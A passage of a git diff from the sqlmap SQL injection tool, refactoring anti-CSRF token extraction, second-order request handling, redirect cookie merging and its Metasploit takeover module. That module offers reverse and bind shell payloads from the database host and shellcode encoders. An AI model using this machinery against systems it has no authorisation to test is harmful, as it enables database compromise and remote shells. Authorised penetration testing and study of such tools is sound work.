extractRegexResult(r"(?i)]+\bname=[\"']?%s[\"']?[^>]*\bvalue=(?P(\"([^\"]+)|'([^']+)|([^ >]+)))" % re.escape(conf.csrfToken), page or "") + match = re.search(r"(?i)]+\bname=[\"']?(?P%s)\b[^>]*\bvalue=[\"']?(?P[^>'\"]*)" % conf.csrfToken, page or "", re.I) - if not token: - token = extractRegexResult(r"(?i)]+\bvalue=(?P(\"([^\"]+)|'([^']+)|([^ >]+)))[^>]+\bname=[\"']?%s[\"']?" % re.escape(conf.csrfToken), page or "") + if not match: + match = re.search(r"(?i)]+\bvalue=[\"']?(?P[^>'\"]*)[\"']?[^>]*\bname=[\"']?(?P%s)\b" % conf.csrfToken, page or "", re.I) - if not token: - match = re.search(r"%s[\"']:[\"']([^\"']+)" % re.escape(conf.csrfToken), page or "") - token = match.group(1) if match else None + if not match: + match = re.search(r"(?P%s)[\"']:[\"'](?P[^\"']+)" % conf.csrfToken, page or "", re.I) + + if not match: + match = re.search(r"\b(?P%s)\s*[:=]\s*(?P\w+)" % conf.csrfToken, str(headers), re.I) + + if not match: + match = re.search(r"\b(?P%s)\s*=\s*['\"]?(?P[^;'\"]+)" % conf.csrfToken, page or "", re.I) + + if match: + token.name, token.value = match.group("name"), match.group("value") + + match = re.search(r"String\.fromCharCode\(([\d+, ]+)\)", token.value) + if match: + token.value = "".join(chr(int(_)) for _ in match.group(1).replace(' ', "").split(',')) if not token: - if conf.csrfUrl != conf.url and code == httplib.OK: + if conf.csrfUrl and conf.csrfToken and conf.csrfUrl != conf.url and code == httplib.OK: if headers and "text/plain" in headers.get(HTTP_HEADER.CONTENT_TYPE, ""): - token = page + token.name = conf.csrfToken + token.value = page - if not token and conf.cj and any(_.name == conf.csrfToken for _ in conf.cj): + if not token and conf.cj and any(re.search(conf.csrfToken, _.name, re.I) for _ in conf.cj): for _ in conf.cj: - if _.name == conf.csrfToken: - token = _.value - if not any(conf.csrfToken in _ for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): + if re.search(conf.csrfToken, _.name, re.I): + token.name, token.value = _.name, _.value + if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}))): if post: - post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + post = "%s%s%s=%s" % (post, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) elif get: - get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, conf.csrfToken, token) + get = "%s%s%s=%s" % (get, conf.paramDel or DEFAULT_GET_POST_DELIMITER, token.name, token.value) else: - get = "%s=%s" % (conf.csrfToken, token) + get = "%s=%s" % (token.name, token.value) break if not token: - errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken, conf.csrfUrl or conf.url) + errMsg = "anti-CSRF token '%s' can't be found at '%s'" % (conf.csrfToken._original, conf.csrfUrl or conf.url) if not conf.csrfUrl: errMsg += ". You can try to rerun by providing " errMsg += "a valid value for option '--csrf-url'" - raise SqlmapTokenException, errMsg + raise SqlmapTokenException(errMsg) if token: - token = token.strip("'\"") + token.value = token.value.strip("'\"") for place in (PLACE.GET, PLACE.POST): if place in conf.parameters: if place == PLACE.GET and get: - get = _adjustParameter(get, conf.csrfToken, token) + get = _adjustParameter(get, token.name, token.value) elif place == PLACE.POST and post: - post = _adjustParameter(post, conf.csrfToken, token) + post = _adjustParameter(post, token.name, token.value) for i in xrange(len(conf.httpHeaders)): - if conf.httpHeaders[i][0].lower() == conf.csrfToken.lower(): - conf.httpHeaders[i] = (conf.httpHeaders[i][0], token) + if conf.httpHeaders[i][0].lower() == token.name.lower(): + conf.httpHeaders[i] = (conf.httpHeaders[i][0], token.value) if conf.rParam: def _randomizeParameter(paramString, randomParameter): @@ -1039,7 +1077,7 @@ def _randomizeParameter(paramString, randomParameter): name = safeVariableNaming(name) elif name in keywords: name = "%s%s" % (name, EVALCODE_KEYWORD_SUFFIX) - value = urldecode(value, convall=True, plusspace=(item==post and kb.postSpaceToPlus)) + value = urldecode(value, convall=True, spaceplus=(item == post and kb.postSpaceToPlus)) variables[name] = value if cookie: @@ -1109,33 +1147,33 @@ def _randomizeParameter(paramString, randomParameter): if kb.postHint in (POST_HINT.XML, POST_HINT.SOAP): if re.search(r"<%s\b" % re.escape(name), post): found = True - post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(<%s\b[^>]*>)(.*?)(%s\g<3>" % value.replace('\\', r'\\'), post) elif re.search(r"\b%s>" % re.escape(name), post): found = True - post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(r"(?s)(\b%s>)(.*?)()" % (re.escape(name), re.escape(name)), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) regex = r"\b(%s)\b([^\w]+)(\w+)" % re.escape(name) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, "\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>\g<2>%s" % value.replace('\\', r'\\'), post) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(delimiter), re.escape(name), re.escape(delimiter)) if not found and re.search(regex, (post or "")): found = True - post = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) + post = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), post) if re.search(regex, (get or "")): found = True - get = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) + get = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), get) if re.search(regex, (query or "")): found = True - uri = re.sub(regex.replace(r"\A", r"\?"), "\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) + uri = re.sub(regex.replace(r"\A", r"\?"), r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), uri) regex = r"((\A|%s)%s=).+?(%s|\Z)" % (re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER), re.escape(name), re.escape(conf.cookieDel or DEFAULT_COOKIE_DELIMITER)) if re.search(regex, (cookie or "")): found = True - cookie = re.sub(regex, "\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) + cookie = re.sub(regex, r"\g<1>%s\g<3>" % value.replace('\\', r'\\'), cookie) if not found: if post is not None: @@ -1166,7 +1204,7 @@ def _randomizeParameter(paramString, randomParameter): singleTimeWarnMessage(warnMsg) warnMsg = "[%s] [WARNING] %stime-based comparison requires " % (time.strftime("%X"), "(case) " if kb.responseTimeMode else "") - warnMsg += "larger statistical model, please wait" + warnMsg += "%s statistical model, please wait" % ("larger" if len(kb.responseTimes) == 1 else "reset of") dataToStdout(warnMsg) while len(kb.responseTimes[kb.responseTimeMode]) < MIN_TIME_RESPONSES: @@ -1221,14 +1259,17 @@ def _randomizeParameter(paramString, randomParameter): _, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, raise404=raise404, skipRead=(kb.nullConnection == NULLCONNECTION.SKIP_READ)) if headers: - if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): - pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH]) - elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): - pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + try: + if kb.nullConnection in (NULLCONNECTION.HEAD, NULLCONNECTION.SKIP_READ) and headers.get(HTTP_HEADER.CONTENT_LENGTH): + pageLength = int(headers[HTTP_HEADER.CONTENT_LENGTH].split(',')[0]) + elif kb.nullConnection == NULLCONNECTION.RANGE and headers.get(HTTP_HEADER.CONTENT_RANGE): + pageLength = int(headers[HTTP_HEADER.CONTENT_RANGE][headers[HTTP_HEADER.CONTENT_RANGE].find('/') + 1:]) + except ValueError: + pass finally: kb.pageCompress = popValue() - if not pageLength: + if pageLength is None: try: page, headers, code = Connect.getPage(url=uri, get=get, post=post, method=method, cookie=cookie, ua=ua, referer=referer, host=host, silent=silent, auxHeaders=auxHeaders, response=response, raise404=raise404, ignoreTimeout=timeBasedCompare) except MemoryError: @@ -1236,11 +1277,20 @@ def _randomizeParameter(paramString, randomParameter): warnMsg = "site returned insanely large response" if kb.testMode: warnMsg += " in testing phase. This is a common " - warnMsg += "behavior in custom WAF/IPS/IDS solutions" + warnMsg += "behavior in custom WAF/IPS solutions" singleTimeWarnMessage(warnMsg) - if conf.secondOrder: - page, headers, code = Connect.getPage(url=conf.secondOrder, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + if conf.secondUrl: + page, headers, code = Connect.getPage(url=conf.secondUrl, cookie=cookie, ua=ua, silent=silent, auxHeaders=auxHeaders, response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) + elif kb.secondReq and IDS_WAF_CHECK_PAYLOAD not in urllib.unquote(value or ""): + def _(value): + if kb.customInjectionMark in (value or ""): + if payload is None: + value = value.replace(kb.customInjectionMark, "") + else: + value = re.sub(r"\w*%s" % re.escape(kb.customInjectionMark), payload, value) + return value + page, headers, code = Connect.getPage(url=_(kb.secondReq[0]), post=_(kb.secondReq[2]), method=kb.secondReq[1], cookie=kb.secondReq[3], silent=silent, auxHeaders=dict(auxHeaders, **dict(kb.secondReq[4])), response=response, raise404=False, ignoreTimeout=timeBasedCompare, refreshing=True) threadData.lastQueryDuration = calculateDeltaSeconds(start) threadData.lastPage = page @@ -1256,12 +1306,18 @@ def _randomizeParameter(paramString, randomParameter): elif noteResponseTime: kb.responseTimes.setdefault(kb.responseTimeMode, []) kb.responseTimes[kb.responseTimeMode].append(threadData.lastQueryDuration) + if len(kb.responseTimes) > MAX_TIME_RESPONSES: + kb.responseTimes = kb.responseTimes[-MAX_TIME_RESPONSES:] if not response and removeReflection: page = removeReflectiveValues(page, payload) kb.maxConnectionsFlag = re.search(MAX_CONNECTIONS_REGEX, page or "", re.I) is not None - kb.permissionFlag = re.search(PERMISSION_DENIED_REGEX, page or "", re.I) is not None + + message = extractRegexResult(PERMISSION_DENIED_REGEX, page or "", re.I) + if message: + kb.permissionFlag = True + singleTimeWarnMessage("potential permission problems detected ('%s')" % message) if content or response: return page, headers, code @@ -1271,5 +1327,5 @@ def _randomizeParameter(paramString, randomParameter): else: return comparison(page, headers, code, getRatioValue, pageLength) -def setHTTPHandlers(): # Cross-linked function +def setHTTPHandlers(): # Cross-referenced function raise NotImplementedError diff --git a/lib/request/direct.py b/lib/request/direct.py index 9b679fc52a3..c4a8a5b22b9 100644 --- a/lib/request/direct.py +++ b/lib/request/direct.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/dns.py b/lib/request/dns.py index 2cf11fe83a0..9eeb7630e07 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/httpshandler.py b/lib/request/httpshandler.py index bd8fe4b5122..33a9dfc8b66 100644 --- a/lib/request/httpshandler.py +++ b/lib/request/httpshandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -12,6 +12,7 @@ import urllib2 from lib.core.common import getSafeExString +from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.exception import SqlmapConnectionException @@ -48,7 +49,7 @@ def create_sock(): # Reference(s): https://docs.python.org/2/library/ssl.html#ssl.SSLContext # https://www.mnot.net/blog/2014/12/27/python_2_and_tls_sni - if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) != False and hasattr(ssl, "SSLContext"): + if re.search(r"\A[\d.]+\Z", self.host) is None and kb.tlsSNI.get(self.host) is not False and not any((conf.proxy, conf.tor)) and hasattr(ssl, "SSLContext"): for protocol in filter(lambda _: _ >= ssl.PROTOCOL_TLSv1, _protocols): try: sock = create_sock() diff --git a/lib/request/inject.py b/lib/request/inject.py index 485b835c475..38fe6da5b8c 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -33,6 +33,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries +from lib.core.decorators import stackedmethod from lib.core.dicts import FROM_DUMMY_TABLE from lib.core.enums import CHARSET_TYPE from lib.core.enums import DBMS @@ -76,6 +77,9 @@ def _goInference(payload, expression, charsetType=None, firstChar=None, lastChar value = _goDns(payload, expression) + if payload is None: + return None + if value is not None: return value @@ -175,10 +179,7 @@ def _goInferenceProxy(expression, fromUser=False, batch=False, unpack=True, char # forge the SQL limiting the query output one entry at a time # NOTE: we assume that only queries that get data from a table # can return multiple entries - if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \ - not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not \ - expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \ - and not re.search(SQL_SCALAR_REGEX, expression, re.I): + if fromUser and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I): expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression) if limitCond: @@ -336,6 +337,7 @@ def _goUnion(expression, unpack=True, dump=False): return output +@stackedmethod def getValue(expression, blind=True, union=True, error=True, time=True, fromUser=False, expected=None, batch=False, unpack=True, resumeValue=True, charsetType=None, firstChar=None, lastChar=None, dump=False, suppressOutput=None, expectingNone=False, safeCharEncode=True): """ Called each time sqlmap inject a SQL query on the SQL injection @@ -438,7 +440,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser found = (value is not None) or (value is None and expectingNone) or count >= MAX_TECHNIQUES_PER_VALUE if time and (isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME) or isTechniqueAvailable(PAYLOAD.TECHNIQUE.STACKED)) and not found: - kb.responseTimeMode = re.sub(r"(?i)[^a-z]", "", re.sub(r"'[^']+'", "", re.sub(r"(?i)(\w+)\(.+\)", r"\g<1>", expression))) if re.search(r"(?i)SELECT.+FROM", expression) else None + match = re.search(r"\bFROM\b ([^ ]+).+ORDER BY ([^ ]+)", expression) + kb.responseTimeMode = "%s|%s" % (match.group(1), match.group(2)) if match else None if isTechniqueAvailable(PAYLOAD.TECHNIQUE.TIME): kb.technique = PAYLOAD.TECHNIQUE.TIME diff --git a/lib/request/methodrequest.py b/lib/request/methodrequest.py index 7187c4404d7..e07f4765fa9 100644 --- a/lib/request/methodrequest.py +++ b/lib/request/methodrequest.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/request/pkihandler.py b/lib/request/pkihandler.py index 369cf7d4d74..f34aedf2bea 100644 --- a/lib/request/pkihandler.py +++ b/lib/request/pkihandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -9,6 +9,8 @@ import urllib2 from lib.core.data import conf +from lib.core.common import getSafeExString +from lib.core.exception import SqlmapConnectionException class HTTPSPKIAuthHandler(urllib2.HTTPSHandler): def __init__(self, auth_file): @@ -19,5 +21,10 @@ def https_open(self, req): return self.do_open(self.getConnection, req) def getConnection(self, host, timeout=None): - # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain - return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) + try: + # Reference: https://docs.python.org/2/library/ssl.html#ssl.SSLContext.load_cert_chain + return httplib.HTTPSConnection(host, cert_file=self.auth_file, key_file=self.auth_file, timeout=conf.timeout) + except IOError, ex: + errMsg = "error occurred while using key " + errMsg += "file '%s' ('%s')" % (self.auth_file, getSafeExString(ex)) + raise SqlmapConnectionException(errMsg) diff --git a/lib/request/rangehandler.py b/lib/request/rangehandler.py index 47d703ce127..0f62c4da619 100644 --- a/lib/request/rangehandler.py +++ b/lib/request/rangehandler.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -32,7 +32,7 @@ class HTTPRangeHandler(urllib2.BaseHandler): urllib2.install_opener(opener) # create Request and set Range header - req = urllib2.Request('http://www.python.org/') + req = urllib2.Request('https://www.python.org/') req.header['Range'] = 'bytes=30-50' f = urllib2.urlopen(req) """ diff --git a/lib/request/redirecthandler.py b/lib/request/redirecthandler.py index 1642991f3ed..81c0cb5d2ea 100644 --- a/lib/request/redirecthandler.py +++ b/lib/request/redirecthandler.py @@ -1,11 +1,10 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ -import re import time import types import urllib2 @@ -124,12 +123,21 @@ def http_error_302(self, req, fp, code, msg, headers): req.headers[HTTP_HEADER.HOST] = getHostHeader(redurl) if headers and HTTP_HEADER.SET_COOKIE in headers: + cookies = dict() delimiter = conf.cookieDel or DEFAULT_COOKIE_DELIMITER - _ = headers[HTTP_HEADER.SET_COOKIE].split(delimiter)[0] - if HTTP_HEADER.COOKIE not in req.headers: - req.headers[HTTP_HEADER.COOKIE] = _ - else: - req.headers[HTTP_HEADER.COOKIE] = re.sub(r"%s{2,}" % delimiter, delimiter, ("%s%s%s" % (re.sub(r"\b%s=[^%s]*%s?" % (re.escape(_.split('=')[0]), delimiter, delimiter), "", req.headers[HTTP_HEADER.COOKIE]), delimiter, _)).strip(delimiter)) + last = None + + for part in req.headers.get(HTTP_HEADER.COOKIE, "").split(delimiter) + headers.getheaders(HTTP_HEADER.SET_COOKIE): + if '=' in part: + part = part.strip() + key, value = part.split('=', 1) + cookies[key] = value + last = key + elif last: + cookies[last] += "%s%s" % (delimiter, part) + + req.headers[HTTP_HEADER.COOKIE] = delimiter.join("%s=%s" % (key, cookies[key]) for key in cookies) + try: result = urllib2.HTTPRedirectHandler.http_error_302(self, req, fp, code, msg, headers) except urllib2.HTTPError, e: diff --git a/lib/request/templates.py b/lib/request/templates.py index cad883bfd12..6f8f155e02b 100644 --- a/lib/request/templates.py +++ b/lib/request/templates.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -19,4 +19,3 @@ def getPageTemplate(payload, place): retVal = kb.pageTemplates[(payload, place)] return retVal - diff --git a/lib/takeover/__init__.py b/lib/takeover/__init__.py index 7181b22a163..c654cbef7f4 100644 --- a/lib/takeover/__init__.py +++ b/lib/takeover/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/abstraction.py b/lib/takeover/abstraction.py index 5a50ea98640..81db1bcb5f9 100644 --- a/lib/takeover/abstraction.py +++ b/lib/takeover/abstraction.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -27,7 +27,6 @@ from lib.takeover.web import Web from lib.takeover.xp_cmdshell import XP_cmdshell - class Abstraction(Web, UDF, XP_cmdshell): """ This class defines an abstraction layer for OS takeover functionalities @@ -172,9 +171,9 @@ def _initRunAs(self): inject.goStacked(expression) # TODO: add support for PostgreSQL - #elif Backend.isDbms(DBMS.PGSQL): - # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") - # inject.goStacked(expression) + # elif Backend.isDbms(DBMS.PGSQL): + # expression = getSQLSnippet(DBMS.PGSQL, "configure_dblink", ENABLE="1") + # inject.goStacked(expression) def initEnv(self, mandatory=True, detailed=False, web=False, forceInit=False): self._initRunAs() diff --git a/lib/takeover/icmpsh.py b/lib/takeover/icmpsh.py index f2c0f609cf4..4be69f4685d 100644 --- a/lib/takeover/icmpsh.py +++ b/lib/takeover/icmpsh.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/lib/takeover/metasploit.py b/lib/takeover/metasploit.py index 5813ca3361b..d42747b54c4 100644 --- a/lib/takeover/metasploit.py +++ b/lib/takeover/metasploit.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2019 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -20,7 +20,6 @@ from lib.core.common import Backend from lib.core.common import getLocalIP from lib.core.common import getRemoteIP -from lib.core.common import getUnicode from lib.core.common import normalizePath from lib.core.common import ntToPosixSlashes from lib.core.common import pollProcess @@ -39,7 +38,6 @@ from lib.core.settings import IS_WIN from lib.core.settings import METASPLOIT_SESSION_TIMEOUT from lib.core.settings import SHELLCODEEXEC_RANDOM_STRING_MARKER -from lib.core.settings import UNICODE_ENCODING from lib.core.subprocessng import blockingReadFromFD from lib.core.subprocessng import blockingWriteToFD from lib.core.subprocessng import Popen as execute @@ -81,6 +79,7 @@ def _initVars(self): _ = normalizePath(os.path.join(_, "..")) if _ == old: break + self._msfCli = "%s & ruby %s" % (_, self._msfCli) self._msfConsole = "%s & ruby %s" % (_, self._msfConsole) self._msfEncode = "ruby %s" % self._msfEncode @@ -88,60 +87,60 @@ def _initVars(self): self._msfVenom = "%s & ruby %s" % (_, self._msfVenom) self._msfPayloadsList = { - "windows": { - 1: ("Meterpreter (default)", "windows/meterpreter"), - 2: ("Shell", "windows/shell"), - 3: ("VNC", "windows/vncinject"), - }, - "linux": { - 1: ("Shell (default)", "linux/x86/shell"), - 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), - } - } + "windows": { + 1: ("Meterpreter (default)", "windows/meterpreter"), + 2: ("Shell", "windows/shell"), + 3: ("VNC", "windows/vncinject"), + }, + "linux": { + 1: ("Shell (default)", "linux/x86/shell"), + 2: ("Meterpreter (beta)", "linux/x86/meterpreter"), + } + } self._msfConnectionsList = { - "windows": { - 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), - 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), - 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), - 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), - 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), - }, - "linux": { - 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), - 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), - } - } + "windows": { + 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), + 2: ("Reverse TCP: Try to connect back from the database host to this machine, on all ports between the specified and 65535", "reverse_tcp_allports"), + 3: ("Reverse HTTP: Connect back from the database host to this machine tunnelling traffic over HTTP", "reverse_http"), + 4: ("Reverse HTTPS: Connect back from the database host to this machine tunnelling traffic over HTTPS", "reverse_https"), + 5: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), + }, + "linux": { + 1: ("Reverse TCP: Connect back from the database host to this machine (default)", "reverse_tcp"), + 2: ("Bind TCP: Listen on the database host for a connection", "bind_tcp"), + } + } self._msfEncodersList = { - "windows": { - 1: ("No Encoder", "generic/none"), - 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), - 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), - 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), - 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), - 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), - 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), - 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), - 9: ("Non-Alpha Encoder", "x86/nonalpha"), - 10: ("Non-Upper Encoder", "x86/nonupper"), - 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), - 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), - 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), - } - } + "windows": { + 1: ("No Encoder", "generic/none"), + 2: ("Alpha2 Alphanumeric Mixedcase Encoder", "x86/alpha_mixed"), + 3: ("Alpha2 Alphanumeric Uppercase Encoder", "x86/alpha_upper"), + 4: ("Avoid UTF8/tolower", "x86/avoid_utf8_tolower"), + 5: ("Call+4 Dword XOR Encoder", "x86/call4_dword_xor"), + 6: ("Single-byte XOR Countdown Encoder", "x86/countdown"), + 7: ("Variable-length Fnstenv/mov Dword XOR Encoder", "x86/fnstenv_mov"), + 8: ("Polymorphic Jump/Call XOR Additive Feedback Encoder", "x86/jmp_call_additive"), + 9: ("Non-Alpha Encoder", "x86/nonalpha"), + 10: ("Non-Upper Encoder", "x86/nonupper"), + 11: ("Polymorphic XOR Additive Feedback Encoder (default)", "x86/shikata_ga_nai"), + 12: ("Alpha2 Alphanumeric Unicode Mixedcase Encoder", "x86/unicode_mixed"), + 13: ("Alpha2 Alphanumeric Unicode Uppercase Encoder", "x86/unicode_upper"), + } + } self._msfSMBPortsList = { - "windows": { - 1: ("139/TCP", "139"), - 2: ("445/TCP (default)", "445"), - } - } + "windows": { + 1: ("139/TCP", "139"), + 2: ("445/TCP (default)", "445"), + } + } self._portData = { - "bind": "remote port number", - "reverse": "local port number", - } + "bind": "remote port number", + "reverse": "local port number", + } def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): if Backend.isOs(OS.WINDOWS): @@ -167,19 +166,8 @@ def _skeletonSelection(self, msg, lst=None, maxValue=1, default=1): choice = readInput(message, default="%d" % default) - if not choice: - if lst: - choice = getUnicode(default, UNICODE_ENCODING) - else: - return default - - elif not choice.isdigit(): - logger.warn("invalid value, only digits are allowed") - return self._skeletonSelection(msg, lst, maxValue, default) - - elif int(choice) > maxValue or int(choice) < 1: - logger.warn("invalid value, it must be a digit between 1 and %d" % maxValue) - return self._skeletonSelection(msg, lst, maxValue, default) + if not choice or not choice.isdigit() or int(choice) > maxValue or int(choice) < 1: + choice = default choice = int(choice) @@ -484,10 +472,13 @@ def _loadMetExtensions(self, proc, metSess): send_all(proc, "use espia\n") send_all(proc, "use incognito\n") - # This extension is loaded by default since Metasploit > 3.7 - #send_all(proc, "use priv\n") - # This extension freezes the connection on 64-bit systems - #send_all(proc, "use sniffer\n") + + # This extension is loaded by default since Metasploit > 3.7: + # send_all(proc, "use priv\n") + + # This extension freezes the connection on 64-bit systems: + # send_all(proc, "use sniffer\n") + send_all(proc, "sysinfo\n") send_all(proc, "getuid\n") @@ -671,13 +662,10 @@ def uploadShellcodeexec(self, web=False): written = self.writeFile(self.shellcodeexecLocal, self.shellcodeexecRemote, "binary", forceCheck=True) if written is not True: - errMsg = "there has been a problem uploading shellcodeexec, it " + errMsg = "there has been a problem uploading shellcodeexec. It " errMsg += "looks like the binary file has not been written " errMsg += "on the database underlying file system or an AV has " - errMsg += "flagged it as malicious and removed it. In such a case " - errMsg += "it is recommended to recompile shellcodeexec with " - errMsg += "slight modification to the source code or pack it " - errMsg += "with an obfuscator software" + errMsg += "flagged it as malicious and removed it" logger.error(errMsg) return False diff --git a/lib/takeover/registry.py b/lib/takeover/registry.py index 043ed56bd2a..5b83526c006 100644 --- a/lib/takeover/registry.py +++ b/lib/takeover/registry.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) 